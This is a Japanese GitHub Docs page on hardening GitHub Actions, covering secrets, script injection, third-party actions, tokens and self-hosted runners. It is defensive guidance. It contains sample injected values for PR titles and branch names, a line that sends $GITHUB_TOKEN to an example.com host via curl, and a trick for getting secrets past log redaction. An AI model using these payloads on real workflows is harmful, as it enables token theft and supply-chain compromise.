Skip to main content

GitHub Actions のセキュリティ強化

GitHub Actions 機能を使うためのセキュリティ プラクティスについて説明します。

概要

このガイドでは、特定の GitHub Actions の機能のセキュリティ強化を設定する方法について説明します。 GitHub Actions の概念について理解するには、「GitHub Actions を理解する」を参照してください。

シークレットの使用

機密性の高い値は、平文としてワークフローファイルに保存するのではなく、シークレットとして保存してください。 シークレットは、organization、リポジトリ、または Environment のレベルで構成でき、機密情報を GitHub に格納できます。

シークレットは Libsodium シールド ボックスを使うため、GitHub に到達する前に暗号化されます。 これは、シークレットが UI または REST API を使って送信されるときに行われます。 このクライアント側の暗号化は、GitHub のインフラストラクチャ内での偶発的なログ (例外ログや要求ログなど) に関連するリスクを最小限に抑えるのに役立ちます。 シークレットがアップロードされた後、GitHub はその暗号化を解除して、ワークフロー ランタイムに挿入できるようにします。

偶発的な漏洩を防ぐため、GitHub は、実行ログに含まれるシークレットの削除を試みるメカニズムを使います。 この編集は、設定された、ジョブ内で使用されるシークレットの完全一致、および Base64 などの値の一般的なエンコーディングを検索します。 ただし、シークレットの値を変換する方法は複数あるため、この編集は保証されません。 さらに、ランナーは、現在のジョブ内で使用されるシークレットのみを編集できます。 そのため、シークレットを確実に編集し、シークレットに関連する他のリスクを制限するために実行する必要がある、特定の予防的ステップと推奨事項は次のとおりです。

  • 構造化データをシークレットとして使わない
    • 構造化データは、ログ内のシークレットの編集失敗の原因となる可能性があります。これは、編集が特定のシークレット値の完全一致を見つけることに大きく依存しているためです。 たとえば、JSON、XML、または YAML(または同様)の Blob を使用してシークレット値をカプセル化しないでください。シークレットが適切に編集される可能性が大幅に低下するためです。 代わりに、機密値ごとに個別のシークレットを作成します。
  • ワークフロー内で使われるすべてのシークレットを登録する
    • シークレットを使ってワークフロー内で別の機密値を生成する場合は、その生成された値を正式にシークレットとして登録して、ログに表示されることがある場合は編集された状態になるようにする必要があります。 たとえば、秘密鍵を使用して署名済み JWT を生成し、Web API にアクセスする場合は、その JWT をシークレットとして登録してください。そうしない場合、ログ出力に入力されても編集されません。
    • シークレットの登録は、あらゆる種類の変換/エンコーディングにも適用されます。 シークレットが何らかの方法で変換された場合(Base64 や URL エンコードなど)、新しい値もシークレットとして登録してください。
  • シークレットの処理方法を監査する
    • シークレットの使用方法を監査し、シークレットが想定どおりに処理されていることを確認します。 これを行うには、ワークフローを実行しているリポジトリのソースコードを確認し、ワークフローで使用されているアクションを確認します。 たとえば、意図しないホストに送信されていないか、またはログ出力に明示的に出力されていないかを確認します。
    • 有効/無効な入力をテストした後、ワークフローの実行ログを表示し、シークレットが正しく編集されているか、表示されていないかを確認します。 呼び出しているコマンドまたはツールがどのようにしてエラーを STDOUTSTDERR に送信するかは必ずしも明らかではなく、シークレットが後でエラー ログに記録される可能性があります。 そのため、有効な入力と無効な入力をテストした後、ワークフローログを手動で確認することをお勧めします。 機密データが意図せず含まれている可能性があるワークフロー ログをクリーンアップする方法については、「ワークフロー実行ログの使用」を参照してください。
  • 最小限のスコープを設定された認証情報を使う
    • ワークフロー内で使用されている認証情報に必要な最小限の権限があることを確認し、リポジトリへの書き込みアクセス権限を持つすべてのユーザが、リポジトリで設定されたすべてのシークレットへの読み取りアクセスを権限持っていることに注意してください。
    • Actions は、github.token コンテキストからアクセスすることで GITHUB_TOKEN を使用できます。 詳しくは、「ワークフロー実行に関するコンテキスト情報へのアクセス」をご覧ください。 したがって、GITHUB_TOKEN に最低限必要な権限が付与されていることを確認する必要があります。 リポジトリの内容の読み取りアクセスのみを行うように GITHUB_TOKEN の既定のアクセス許可を設定することを、セキュリティの点からお勧めします。 その後、必要に応じて、ワークフローファイル内の個々のジョブの権限を増やすことができます。 詳しくは、「自動トークン認証」をご覧ください。
  • 登録されたシークレットの監査とローテーションを行う
    • 登録されたシークレットを定期的に確認して、現在も必要であることを確認します。 不要になったものは削除してください。
    • シークレットを定期的にローテーションして、不正使用されたシークレットが有効である期間を短縮します。
  • シークレットへのアクセスのレビューを必須にすることを検討する
    • 必須のレビュー担当者を使って環境のシークレットを保護できます。 レビュー担当者によって許可されるまで、ワークフローのジョブは環境のシークレットにアクセスできません。 環境へのシークレットの格納や環境のレビューの要求の詳細については、「GitHub Actions でのシークレットの使用」と「デプロイに環境の使用」を参照してください。

Warning

リポジトリへの書き込みアクセス権限を持つすべてのユーザーは、リポジトリに構成されているすべてのシークレットへの読み取りアクセス権を持っています。 そのため、ワークフロー内で使われる認証情報が持つ特権は必要最小限のものにする必要があります。

CODEOWNERS を使用して変更を監視する

CODEOWNERS 機能を使って、ワークフロー ファイルの変更方法を制御できます。 たとえば、すべてのワークフロー ファイルが .github/workflows に格納されている場合は、このディレクトリをコード所有者リストに追加することで、これらのファイルに対して提案された変更は、指定されているレビュー担当者が最初に承認する必要があるようにすることができます。

詳しくは、「コードオーナーについて」をご覧ください。

スクリプト インジェクションのリスクを理解する

ワークフロー、カスタム アクション複合アクションを作成するときは、攻撃者からの信頼されていない入力をコードが実行する可能性があるかどうかを常に考慮する必要があります。 これは、攻撃者が悪意のあるコマンドとスクリプトをコンテキストに追加したときに発生する可能性があります。 ワークフローの実行時に、それらの文字列がコードとして解釈されて、ランナーで実行される場合があります。

攻撃者は、自分の悪意のあるコンテンツを githubコンテキストに追加する可能性があります。これは、潜在的に信頼されない入力として扱う必要があります。 このようなコンテキストは、通常、bodydefault_branchemailhead_reflabelmessagenamepage_namereftitle で終わるものです。 例: github.event.issue.title、または github.event.pull_request.body

これらの値が、ワークフロー、アクション、API 呼び出し、またはそれらが実行可能なコードとして解釈される可能性のあるその他の場所に直接流れないようにする必要があります。 他の特権アプリケーション コードに使用するのと同じ防御型プログラミング方針を採用することで、GitHub Actions の使用のセキュリティを強化できます。 攻撃者が行う可能性があるステップの一部については、「GitHub Actions のセキュリティ強化」を参照してください。

さらに、それ以外にも、ブランチ名やメール アドレスなど、あまり知られていませんが潜在的に信頼されない入力のソースがあり、許可された内容の観点からは非常に柔軟性があります。 たとえば、zzz";echo${IFS}"hello";# は有効なブランチ名であり、ターゲット リポジトリに対する攻撃ベクトルになる可能性があります。

以下のセクションでは、スクリプト インジェクションのリスクを軽減するのに役立つ方法について説明します。

スクリプト インジェクション攻撃の例

スクリプト インジェクション攻撃は、ワークフローのインライン スクリプト内で直接発生する可能性があります。 次の例のアクションでは、式を使って pull request タイトルの有効性がテストされていますが、スクリプト インジェクションのリスクも加わります。

      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

この例の場合、ランナーの一時シェル スクリプト内で run コマンドが実行されるため、スクリプト インジェクションに対して脆弱です。 シェル スクリプトが実行される前に、${{ }} 内の式が評価されてから、結果の値に置き換えられます。これにより、シェル コマンド インジェクションに対して脆弱になる可能性があります。

このワークフローにコマンドを挿入するため、攻撃者は a"; ls $GITHUB_WORKSPACE" というタイトルの pull request を作成する可能性があります。

編集モードでの pull request のタイトルのスクリーンショット。 フィールドには、a"; ls $GITHUB_WORKSPACE" という新しいタイトルが入力されています。

この例では、文字 " を使って title="${{ github.event.pull_request.title }}" ステートメントを中断し、ランナーで ls コマンドを実行できるようにします。 ls コマンドの出力をログで確認できます。

Run title="a"; ls $GITHUB_WORKSPACE""
README.md
code.yml
example.js

スクリプト インジェクション攻撃を軽減するための優れたプラクティス

スクリプト インジェクションのリスクを軽減するのに役立つさまざまな方法があります。

推奨されるアプローチは、コンテキストの値を引数として処理するアクションを作成することです。 このアプローチは、コンテキストの値はシェル スクリプトの生成には使われず、代わりに引数としてアクションに渡されるため、インジェクション攻撃に対して脆弱ではありません。

uses: fakeaction/checktitle@v3
with:
    title: ${{ github.event.pull_request.title }}

中間環境変数を使用する

インライン スクリプトの場合、信頼されない入力を処理するための推奨される方法は、式の値を中間環境変数に設定することです。

次の例では、Bash を使って github.event.pull_request.title の値を環境変数として処理しています。

      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

この例では、スクリプトの挿入の試行が失敗し、ログの行で次のように示されています。

   env:
     TITLE: a"; ls $GITHUB_WORKSPACE"
PR title did not start with 'octocat'

この方法では、${{ github.event.issue.title }} 式の値はメモリに格納されて変数として使われ、スクリプト生成プロセスとはやり取りされません。 さらに、二重引用符シェル変数を使って単語分割を回避することを検討します。ただし、これはシェル スクリプトの記述に関する多くの一般的な推奨事項の 1 つであり、GitHub Actions に固有ではありません。

code scanning のワークフロー テンプレートの使用

Note

Advanced Security のワークフロー テンプレートは、リポジトリの [Actions] タブの [Security] カテゴリに統合されています。 Code scanning を使うと、運用環境に行く前にセキュリティの脆弱性を見つけることができます。 GitHub には、code scanning 用のワークフロー テンプレートが用意されています。 最初から作るのではなく、これらの推奨されるワークフローを使って、code scanning ワークフローを作成できます。 GitHub のワークフロー、CodeQL 分析ワークフローには、CodeQL が使われています。 また、サード パーティ製のワークフロー テンプレートも利用できます。

詳細については、「コード スキャンについて」および「コード スキャンの高度なセットアップの構成」を参照してください。

トークンのアクセス許可を制限する

公開されたトークンのリスクを軽減するには、割り当てられるアクセス許可を制限することを検討します。 詳しくは、「自動トークン認証」をご覧ください。

組織のGitHub Actions設定のアクセス許可を管理する

カスタム Organization ロールを管理することにより、GitHub Actions で Organization の CI/CD パイプラインにおける最小特権の原則を実践できます。 カスタム組織の役割は、組織とそのリポジトリの完全な権限を持った管理を許可することなく、組織の個人またはチームに対して設定の特定サブセットを管理する権限を許可する方法です。

GitHub Actions の場合、Organization 内の個人またはチームに対して以下のいずれかのアクセス許可を有効にすることができます。

  • Organization のアクション ポリシーを管理: セルフホステッド ランナーの設定を除き、[アクション全般] 設定ページのすべての設定を管理するためのアクセス。
  • Organization ランナーとランナー グループを管理: GitHub でホストされるランナー、セルフホステッド ランナー、ランナー グループを作成および管理し、セルフホステッド ランナーを作成できる場所を制御するためのアクセス。
  • Organization のアクション シークレットを管理: アクションの Organization シークレットを作成および管理するためのアクセス。
  • Organization のアクション変数を管理: アクションの Organization 変数を作成および管理するためのアクセス。

詳しくは、「カスタム組織の役割の情報」をご覧ください。

OpenID Connect を使用してクラウド リソースにアクセスする

GitHub Actions ワークフローが OpenID Connect (OIDC) をサポートするクラウド プロバイダーのリソースにアクセスする必要がある場合、そのクラウド プロバイダーで直接認証されるようにワークフローを構成できます。 これにより、有効期間の長いシークレットとしてこれらの資格情報の格納を停止し、その他のセキュリティ上の利点を提供できます。 詳しくは、「OpenID Connect を使ったセキュリティ強化について」をご覧ください。

Note

OIDC のカスタム要求のサポートは、AWS では使用できません。

サードパーティアクションを使用する

ワークフロー内の個々のジョブは、他のジョブと相互作用(および侵害)する場合があります。 たとえば、後のジョブで使用される環境変数をクエリするジョブ、後のジョブが処理する共有ディレクトリにファイルを書き込むジョブ、あるいはもっと直接的にDocker ソケットとやり取りして他の実行中のコンテナを検査してコマンドを実行するジョブなどです。

つまり、ワークフロー内の 1 つのアクションが侵害されると、その侵害されたアクションがリポジトリで構成されているすべてのシークレットにアクセスでき、GITHUB_TOKEN を使ってリポジトリに書き込むことができる場合があるため、非常に大きな問題になる可能性があります。 したがって、GitHub のサードパーティリポジトリからアクションを調達することには大きなリスクがあります。 攻撃者が行う可能性があるステップの一部については、「GitHub Actions のセキュリティ強化」を参照してください。

次のような適切な方法に従うことで、このリスクを軽減することができます。

  • アクションを完全なコミット SHA にピン止めする

    現在、アクションを不変のリリースとして使用する唯一の方法は、アクションを完全なコミット SHA にピン止めすることです。 特定の SHA にピン止めすると、有効な Git オブジェクトペイロードに対して SHA-1 衝突を生成する必要があるため、悪意のある人がアクションのリポジトリにバックドアを追加するリスクを軽減できます。 SHA を選択するときは、アクションのリポジトリからであり、リポジトリ フォークではないことを確認してください。

  • アクションのソース コードを監査する

    アクションが想定どおりにリポジトリとシークレットのコンテンツを処理していることを確認します。 たとえば、シークレットが意図しないホストに送信されていないか、または誤ってログに記録されていないかを確認します。

  • 作成者を信頼できる場合に限り、アクションをタグにピン止めする

    コミット SHA に対するピン止めが最も安全なオプションですが、タグを指定する方が便利で広く使用されています。 タグを指定する場合は、アクションの作成者が信頼できることを確認してください。 GitHub Marketplace の「Verified creator」バッジは便利な判断材料で、 GitHub で身元が確認されたチームによって作成されたアクションであることを示しています。 作者が信頼できる場合でも、このアプローチにはリスクがあることに注意してください。悪意のある人がアクションを保存しているリポジトリにアクセスすると、タグが移動または削除される可能性があります。

サード パーティのワークフローを再利用する

サード パーティのアクションの使用に関して上で説明したものと同じ原則が、サード パーティのワークフローの使用にも適用されます。 上と同じ適切なプラクティスに従うことで、ワークフローの再利用に関連するリスクを軽減できます。 詳しくは、「ワークフローの再利用」をご覧ください。

Dependabot version updates を使用してアクションを最新の状態に維持する

リポジトリで使用されるアクションおよび再利用可能なワークフローのリファレンスを常に最新の状態に保つため、Dependabotを使用できます。 多くの場合、アクションはバグ修正および新しい機能で更新され、自動化プロセスの速度、安全性、信頼性が向上しています。 Dependabotは、依存関係の保守を自動的に実行するため、作業量が軽減されます。 詳細については、「Dependabot でアクションを最新に保つ」および「Dependabot のセキュリティ アップデート」を参照してください。

ワークフローが内部リポジトリとプライベート リポジトリにアクセスできるようにする

プライベート リポジトリを他のリポジトリの GitHub Actions ワークフローからアクセスできるようにする場合、プライベート リポジトリに直接アクセスできない他のリポジトリの外部コラボレーターは、プライベート リポジトリに間接的にアクセスできます。 外部コラボレーターは、プライベート リポジトリのアクションまたはワークフローが使用されている場合に、ワークフローの実行をログで確認できます。詳細については、「アクションとワークフローを企業と共有する」を参照してください。

ランナーがこれらのアクションをダウンロードできるように、GitHub はスコープ付きのインストール トークンをランナーに渡します。 このトークンはリポジトリへの読み取りアクセス権を持ち、1 時間後に自動的に期限切れになります。

GitHub Actions による pull request の作成または承認を回避する

GitHub Actions ワークフローでの pull request の作成または承認を許可するか禁止するかを選択できます。 ワークフローまたは他のオートメーションが pull request を作成または承認できるようにすると、pull request のマージが適切な監視なしで行われる場合、セキュリティ リスクが発生する可能性があります。

この設定を構成する方法の詳細については、「エンタープライズで GitHub Actions のポリシーを適用する」、「organization について GitHub Actions の無効化または制限する」、「リポジトリの GitHub Actions の設定を管理する」を参照してください。

code scanning を使用してワークフローをセキュリティで保護する

Note

code scanning を使って GitHub Actions ワークフローの脆弱性を検出する機能は、現在 パブリック プレビュー 段階であり、変更される可能性があります。

Code scanning は、GitHub Actions ワークフローで使われる一般的な脆弱なパターンを自動的に検出し、改善を提案します。 code scanning を有効にする方法の詳細については、「コード スキャンの既定セットアップの構成」を参照してください。

OpenSSF Scorecards を使ってワークフローの依存関係をセキュリティで保護する

Scorecards は、リスクの高いサプライ チェーン プラクティスにフラグを設定する自動セキュリティ ツールです。 Scorecards アクションワークフロー テンプレートを使って、セキュリティのベスト プラクティスに従うことができます。 構成された Scorecards アクションは、リポジトリが変更されると自動的に実行され、ビルトイン code scanning 環境を使用してリスクの高いサプライ チェーン プラクティスについて開発者に警告します。 Scorecards プロジェクトでは、スクリプト インジェクション攻撃、トークンのアクセス許可、ピン留めされたアクションなど、さまざまなチェックが実行されます。

侵害されたランナーの潜在的な影響

以下のセクションでは、攻撃者が GitHub Actions ランナーで悪意のあるコマンドを実行できる場合に実行できるいくつかの手順について説明します。

Note

GitHub ホステッド ランナーは、侵害されたサード パーティのライブラリなど、ユーザーがジョブの間にダウンロードした悪意のあるコードをスキャンしません。

シークレットにアクセスする

pull_request イベントを使ってフォークされたリポジトリからトリガーされたワークフローには、シークレットの読み取り専用のアクセス許可があり、アクセス権はありません。 ただし、これらのアクセス許可は、攻撃者がリポジトリのシークレットを盗んだり、ジョブの GITHUB_TOKEN の書き込みアクセス許可を使用したりするために試みる可能性がある、リポジトリ内のブランチからの issue_commentissuespushpull_request などのさまざまなイベント トリガーの場合は異なります。

  • シークレットまたはトークンが環境変数に設定されている場合は、printenv を使って環境を介して直接アクセスできます。

  • シークレットが式の中で直接使われた場合、生成されるシェル スクリプトはディスク上に格納されてアクセスできます。

  • カスタム アクションの場合のリスクは、プログラムが引数から取得したシークレットを使用する方法によって異なる場合があります。

    uses: fakeaction/publish@v3
    with:
        key: ${{ secrets.PUBLISH_KEY }}
    

GitHub Actions は、ワークフロー(または含まれるアクション) で参照されていないシークレットをメモリから除去しますが、攻撃者はその気になれば GITHUB_TOKEN や参照されているシークレットを取得できます。

ランナーからのデータの流出

攻撃者は、盗まれたシークレットや他のデータをランナーから流出させる可能性があります。 シークレットが誤って漏えいするのを防ぐため、GitHub Actions はログに書き込まれるシークレットを自動的に編集しますが、シークレットを意図的にログに送信できるため、これは真のセキュリティ境界ではありません。 たとえば、難読化されたシークレットは echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200}; を使って流出される可能性があります。 さらに、攻撃者は任意のコマンドを実行できるため、HTTP 要求を使ってシークレットや他のリポジトリ データを外部サーバーに送信する可能性があります。

ジョブの GITHUB_TOKEN を盗む

攻撃者はジョブの GITHUB_TOKEN を盗む可能性があります。 GitHub Actions ランナーは、ワークフローを含むリポジトリのみに制限されたアクセス許可を指定して生成された GITHUB_TOKEN を自動的に受け取り、そのトークンの有効期限はジョブが完了すると切れます。 有効期限が切れたトークンは、攻撃者にとって役に立たなくなります。 この制限を回避するため、攻撃者は、トークンを使って攻撃者が制御するサーバーを呼び出すことによって (a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;# など)、攻撃を自動化して一瞬で実行できます。

リポジトリの内容を変更する

攻撃者のサーバーは、GITHUB_TOKEN に割り当てられたアクセス許可が制限されていなければ、GitHub API を使って、リリースなど、リポジトリの内容を変更することができます。

リポジトリ間のアクセスを検討する

GitHub Actions のスコープは、意図的に一度に単一のリポジトリに設定されています。 書き込みアクセス権を持つユーザーは、ワークフロー ファイルを作成または変更し、必要に応じて GITHUB_TOKEN のアクセス許可を昇格することによって GITHUB_TOKEN にアクセスできるため、このトークンは書き込みアクセス権を持つユーザーと同じレベルのアクセスを許可します。 ユーザーはリポジトリごとに特定のアクセス許可を持っているため、1 つのリポジトリの GITHUB_TOKEN に別のリポジトリへのアクセス権を付与すると、慎重に実装しない場合、GitHub のアクセス許可モデルに影響します。 同様に、GitHub 認証トークンをワークフローに追加する場合は注意が必要です。これは、コラボレータに誤って広範なアクセスを付与することにより、GitHub アクセス許可モデルにも影響を与える可能性があるためです。

組織がエンタープライズ アカウントによって所有されている場合は、それらを内部リポジトリに保存することで、GitHub Actions を共有して再利用できます。 詳しくは、「アクションとワークフローを企業と共有する」をご覧ください。

ワークフロー内のシークレットとして GitHub 認証トークンまたは SSH キーを参照することで、その他の特権のあるリポジトリ間のやり取りを実行できます。 多くの認証トークンタイプでは特定のリソースへの詳細なアクセスが許可されていないことから、意図したものよりはるかに広範なアクセスを許可できるため、間違ったトークンタイプを使用すると重大なリスクが生じます。

次のリストでは、ワークフロー内のリポジトリデータにアクセスするための推奨アプローチを優先度の高い順に説明しています。

  1. GITHUB_TOKEN
    • このトークンは、ワークフローを呼び出した単一のリポジトリに意図的にスコープが設定されており、リポジトリの書き込みアクセス ユーザーと同じレベルのアクセス権を持つことができます。 トークンは各ジョブが開始する前に作成され、ジョブが終了すると期限切れになります。 詳しくは、「自動トークン認証」をご覧ください。
    • 可能な限り、GITHUB_TOKEN を使う必要があります。
  2. リポジトリのデプロイキー
    • デプロイキーは、単一のリポジトリへの読み取りまたは書き込みアクセスを権限する唯一の認証情報タイプの 1 つであり、ワークフロー内の別のリポジトリとのやり取りに使用できます。 詳しくは、「デプロイキーの管理」をご覧ください。
    • デプロイキーは Git を使用してリポジトリにクローンおよびプッシュできるだけであり、REST または GraphQL API とのやり取りには使用できないため、要件に適さない場合があることに注意してください。
  3. GitHub App トークン
    • GitHub Apps は、選択したリポジトリにインストールでき、リポジトリ内のリソースに対する詳細な権限を持つこともできます。 Organization の内部で GitHub App を作成し、ワークフロー内でアクセスする必要があるリポジトリにインストールして、それらのリポジトリにアクセスするためのワークフロー内のインストールとして認証できます。 詳しくは、「GitHub Actions ワークフローで GitHub App を使用して認証済み API 要求を作成する」をご覧ください。
  4. personal access token
    • personal access token (classic) は使わないでください。 これらのトークンは、ユーザーがアクセスできる Organization 内のすべてのリポジトリ、および個人アカウント内のすべての個人リポジトリへのアクセスを許可します。 これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。
    • personal access token を使う場合は、自分のアカウントから personal access token を使わないでください。 後で Organization を離れると、このトークンを使用するワークフローはすぐに中断され、この問題のデバッグが困難になる場合があります。 代わりに、organization に属していて、ワークフローに必要な特定のリポジトリへのアクセスのみを許可されている新しいアカウントには、fine-grained personal access token を使う必要があります。 このアプローチはスケーラブルではないため、デプロイキーなどの代替案を優先して避ける必要があります。
  5. 個人アカウントの SSH キー
    • ワークフローでは、個人アカウントの SSH キーを使わないようにする必要があります。 これらは、personal access tokens (classic) と同様に、そのユーザーのすべての個人リポジトリと、Organization のメンバーシップを通じてそのユーザーがアクセスできるすべてのリポジトリに対する、読み取りと書き込みのアクセス許可を付与します。 これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。 リポジトリのクローンまたはプッシュのみを実行する必要があり、パブリック API とやり取りする必要がないため、SSH キーを使用する場合は、代わりに個別のデプロイキーを使用する必要があります。

GitHub を扱うホストランナー

GitHub ホストランナーは、セキュリティ リスクの軽減に役立つ対策を講じます。

GitHub ホステッド ランナーのサプライ チェーンをレビューする

GitHub でホストされているランナーが GitHub によってメンテナンスされているイメージから作成された場合、ソフトウェア部品表 (SBOM) を表示して、ランナーにプリインストールされたソフトウェアを確認できます。 脆弱性スキャナーを介して実行できる SBOM をユーザーに提供して、製品に脆弱性があるかどうかを検証できます。 成果物をビルドする場合、この SBOM は、ソフトウェアの作成に使ったものをすべて含めた包括的な一覧の部品表に含めることができます。

SBOM は、GitHub によってメンテナンスされている Ubuntu、Windows、および macOS ランナー イメージに対応しています。 ビルドの SBOM は、 https://github.com/actions/runner-images/releases に記載されているリリース資産で見つけることができます。 sbom.IMAGE-NAME.json.zip の形式のファイル名を持つ SBOM は、各リリースの添付ファイルにあります。

ARM 搭載ランナーのイメージなど、サード パーティ製のイメージの場合は、actions/partner-runner-images リポジトリ内のイメージに含まれているソフトウェアの詳細を確認できます。

ホストへのアクセスを拒否する

GitHub ホストランナーは、さまざまな暗号化マイニング プールや悪意のあるサイトへのネットワーク アクセスをブロックする etc/hosts ファイルでプロビジョニングされます。 MiningMadness.com や cpu-pool.com などのホストは、重大なセキュリティ リスクが存在しないように localhost に再ルーティングされます。詳細については、「GitHub ホステッド ランナーの使用」を参照してください。

セルフホストランナーを強化する

GitHub ホステッド ランナーは、エフェメラルでクリーンな隔離された仮想マシン内でコードを実行します。つまり、この環境を永続的に侵害したり、ブートストラップ プロセスの間にこの環境に置かれたもの以外の情報にアクセスしたりする方法はありません。

GitHub のセルフホステッド ランナーは、エフェメラルでクリーンな仮想マシンで実行する保証がなく、ワークフロー内の信頼されていないコードによって永続的に侵害される可能性があります。

その結果、任意のユーザーがリポジトリに対して pull request を開き、環境を侵害できるため、ほとんどの場合、セルフホステッド ランナーは GitHub のパブリック リポジトリには使わないようにする必要があります。 同様に、プライベートまたは内部リポジトリでセルフホステッド ランナーを使うときは注意が必要です。リポジトリをフォークして pull request を開くことができるユーザー (通常は、リポジトリへの読み取りアクセス権限を持つユーザー) は、セルフホステッド ランナー環境を侵害できます。それには、シークレットへのアクセスや、リポジトリへの書き込みアクセス権限を設定に応じて付与できる GITHUB_TOKEN の取得が含まれます。 ワークフローは、環境と必要なレビューを使用して環境シークレットへのアクセスを制御できますが、これらのワークフローは分離された環境では実行されず、セルフホストランナーで実行した場合でも同じリスクの影響を受けやすくなります。

Enterprise の所有者と Organization の所有者は、リポジトリ レベルのセルフホステッド ランナーの作成を許可するリポジトリを選択できます。 "Manage organization runners and runner groups" アクセス許可を持つユーザーは、organization 内のリポジトリのリポジトリ レベルの自己ホスト ランナーの作成を許可するリポジトリのみを選択できます。

カスタム organization の役割の詳細については、「カスタム組織の役割の情報」を参照してください。

詳細については、「エンタープライズで GitHub Actions のポリシーを適用する」と「Organization について GitHub Actions を無効化または制限する」を参照してください。

セルフホステッド ランナーが organization または Enterprise のレベルで定義されている場合、GitHub は同じランナーに対して複数のリポジトリからのワークフローをスケジュールできます。 したがって、これらの環境へのセキュリティ侵害は、大きな影響をもたらす可能性があります。 侵害の範囲を狭めるために、セルフホストランナーを個別のグループにまとめることで、境界を作ることができます。 ランナー グループにアクセスできるワークフロー、organization、リポジトリを制限できます。 詳しくは、「グループを使用してセルフホストランナーへのアクセスを管理する」をご覧ください。

次のように、セルフホストランナーマシンの環境も考慮する必要があります。

  • セルフホストランナーとして設定されたマシンにはどのような機密情報が存在するか。 たとえば、SSH 秘密鍵、API アクセストークンなどです。
  • マシンが機密性の高いサービスにネットワークアクセス可能か。 たとえば、Azure または AWS メタデータサービスなどです。 この環境での機密情報量は最小限に抑える必要があります。ワークフローを呼び出すことができるすべてのユーザがこの環境にアクセスできることを常に意識しておいてください。

中には、それぞれのジョブの実行後にセルフホストランナーを自動的に破棄するようなシステムを実装することで、このリスクを部分的に軽減しようとするお客様もいます。 しかし、このアプローチは意図したほどには効果的ではないかもしれません。これは、セルフホストランナーが1つのジョブだけを実行するという保証がないためです。 一部のジョブでは、コマンド ライン引数としてシークレットが使われ、同じランナーで実行している別のジョブで見ることができます (ps x -w など)。 これにより、シークレットが漏えいする可能性があります。

Just-In-Time ランナーの使用

ランナー登録のセキュリティを向上させるために、REST API を使ってエフェメラル Just-In-Time (JIT) ランナーを作成できます。 これらのセルフホステッド ランナーは、リポジトリ、組織、またはエンタープライズから自動的に削除される前に、最大 1 つのジョブを実行します。 JIT ランナーの構成の詳細については、「セルフホステッド ランナーの REST API エンドポイント」を参照してください。

Note

ハードウェアを再利用して JIT ランナーをホストすると、環境から情報が公開されるリスクがあります。 自動化を使って、JIT ランナーで確実にクリーンな環境が使われるようにしてください。 詳しくは、「セルフホステッド ランナーによる自動スケーリング」をご覧ください。

REST API の応答から構成ファイルを作成したら、ランナーに起動時に渡すことができます。

./run.sh --jitconfig ${encoded_jit_config}

セルフホステッド ランナーの管理戦略を計画する

セルフホステッド ランナーは、GitHub 階層のさまざまなレベル (Enterprise、Organization、リポジトリ レベル) に追加できます。 この配置により、ランナーを管理できるユーザーが決まります。

一元管理:

  • 一元化されたチームでセルフホステッド ランナーを所有する場合は、最も高い相互 Organization または Enterprise レベルにランナーを追加することをお勧めします。 これにより、チームは 1 つの場所でランナーを表示および管理できます。
  • Organization が 1 つだけの場合、Organization レベルでランナーを追加するのは実質的に同じ方法ですが、将来別の Organization を追加したときに問題が発生する可能性があります。

分散管理:

  • 各チームが自分のセルフホステッド ランナーを管理する場合は、チームの所有権の最上位レベルでランナーを追加することをお勧めします。 たとえば、各チームが自分の Organization を所有している場合は、ランナーも Organization レベルで追加すると最も簡単になります。
  • リポジトリ レベルでランナーを追加することもできますが、リポジトリ間ではランナーを共有できないため、管理オーバーヘッドが増加し、必要なランナーの数も増えます。

クラウド プロバイダーへの認証を行う

GitHub Actions を使ってクラウド プロバイダーにデプロイする場合、またはシークレット管理に HashiCorp Vault を使う場合は、OpenID Connect を使って、ワークフロー実行用に有効期間が短く、適切なスコープ設定のアクセス トークンの作成を検討することをお勧めします。 詳しくは、「OpenID Connect を使ったセキュリティ強化について」をご覧ください。

GitHub Actionsイベントの監査

セキュリティ ログを使ってユーザー アカウントのアクティビティを監視し、監査ログを使って organization または Enterprise 内のアクティビティを監視できます。 セキュリティおよび監査ログには、アクションの種類、実行された日時、アクションを実行した個人アカウントが記録されます。

たとえば、監査ログを使って、Organization のシークレットへの変更を追跡する org.update_actions_secret イベントを追跡できます。

組織の監査ログからの "action:org.update_actions_secret" の検索を示すスクリーンショット。 2 つの結果が表示されます。

各アカウントの種類の監査ログに表示されるイベントの完全な一覧については、次の記事を参照してください。

次のステップ